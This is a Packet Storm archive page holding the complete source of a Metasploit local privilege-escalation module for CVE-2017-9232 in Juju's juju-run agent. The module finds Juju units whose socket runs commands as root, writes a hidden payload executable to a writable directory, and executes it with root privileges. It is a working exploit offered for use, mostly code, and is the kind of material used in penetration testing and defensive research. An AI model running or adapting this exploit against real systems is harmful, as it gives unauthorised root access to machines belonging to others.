what you don't know can hurt you

Juju-run Agent Privilege Escalation

Juju-run Agent Privilege Escalation
Posted Feb 11, 2018
Authored by Brendan Coles, David Ames, Ryan Beisner | Site metasploit.com

This Metasploit module attempts to gain root privileges on Juju agent systems running the juju-run agent utility. Juju agent systems running agent tools prior to version 1.25.12, 2.0.x before 2.0.4, and 2.1.x before 2.1.3, provide a UNIX domain socket to manage software ("units") without setting appropriate permissions, allowing unprivileged local users to execute arbitrary commands as root. This Metasploit module has been tested successfully with Juju agent tools versions 1.18.4, 1.25.5 and 1.25.9 on Ubuntu 14.04.1 LTS x86 deployed by Juju 1.18.1-trusty-amd64 and 1.25.6-trusty-amd64 on Ubuntu 14.04.1 LTS x86_64.

tags | exploit, arbitrary, x86, local, root
systems | linux, unix, ubuntu
advisories | CVE-2017-9232
MD5 | eb38e1fdceb4a094a0ae325d89253b30

Juju-run Agent Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Juju-run Agent Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on Juju agent systems
running the juju-run agent utility.

Juju agent systems running agent tools prior to version 1.25.12,
2.0.x before 2.0.4, and 2.1.x before 2.1.3, provide a UNIX domain socket
to manage software ("units") without setting appropriate permissions,
allowing unprivileged local users to execute arbitrary commands as root.

This module has been tested successfully with Juju agent tools versions
1.18.4, 1.25.5 and 1.25.9 on Ubuntu 14.04.1 LTS x86 deployed by Juju
1.18.1-trusty-amd64 and 1.25.6-trusty-amd64 on Ubuntu 14.04.1 LTS x86_64.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Ryan Beisner', # Discovery and PoC
'David Ames (@thedac)', # Discovery and PoC
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'DisclosureDate' => 'Apr 13 2017',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'References' =>
[
[ 'CVE', '2017-9232' ],
[ 'BID', '98737' ],
[ 'URL', 'https://bugs.launchpad.net/juju/+bug/1682411' ]
]
))
register_options(
[
OptString.new('UNIT', [ false, 'A valid Juju unit name', '' ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
])
end

def check
juju_run_path = cmd_exec 'which juju-run'

if juju_run_path.start_with? '/'
vprint_good 'juju-run is installed'
return CheckCode::Detected
end

vprint_error 'juju-run is NOT installed'

CheckCode::Safe
end

def unit_names
units = []

cmd_exec('/bin/ls -m /var/log/juju/*.log').chomp.split(/,\s*/).each do |log|
units << ::File.basename(log).gsub(/\.log$/, '')
end

cmd_exec('/bin/ls -m /var/lib/juju/agents/').chomp.split(/,\s*/).each do |agent|
units << ::File.basename(agent)
end

units.uniq
end

def execute_command(cmd, opts = {})
cmd_exec "juju-run #{opts['unit']} '#{cmd}'"
end

def upload_and_chmodx(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
cmd_exec "chmod +x '#{path}'"
register_file_for_cleanup path
end

def exploit
if check != CheckCode::Detected
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end

units = datastore['UNIT'].blank? ? unit_names : [ datastore['UNIT'] ]

if units.empty?
fail_with Failure::Unknown, "Could not find any Juju units. Try specifying a 'UNIT'"
end

# Check each unit for a privileged socket
print_status "Trying #{units.size} units..."

socket_unit = nil
unit_names.each do |unit|
id = execute_command 'id', 'unit' => unit

if id.include? 'root'
print_good "Unit #{unit.inspect} uses a privileged socket"
socket_unit = unit
break
end
end

if socket_unit.nil?
fail_with Failure::NotVulnerable, 'Could not find any Juju units using a privileged socket'
end

# Upload payload executable
payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
payload_path = "#{datastore['WritableDir']}/#{payload_name}"
upload_and_chmodx payload_path, generate_payload_exe

# Execute payload executable
vprint_status 'Executing payload...'
execute_command payload_path, 'unit' => socket_unit
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

January 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    15 Files
  • 2
    Jan 2nd
    15 Files
  • 3
    Jan 3rd
    11 Files
  • 4
    Jan 4th
    1 Files
  • 5
    Jan 5th
    2 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    24 Files
  • 8
    Jan 8th
    15 Files
  • 9
    Jan 9th
    16 Files
  • 10
    Jan 10th
    23 Files
  • 11
    Jan 11th
    17 Files
  • 12
    Jan 12th
    3 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    18 Files
  • 15
    Jan 15th
    33 Files
  • 16
    Jan 16th
    23 Files
  • 17
    Jan 17th
    29 Files
  • 18
    Jan 18th
    15 Files
  • 19
    Jan 19th
    2 Files
  • 20
    Jan 20th
    3 Files
  • 21
    Jan 21st
    17 Files
  • 22
    Jan 22nd
    19 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close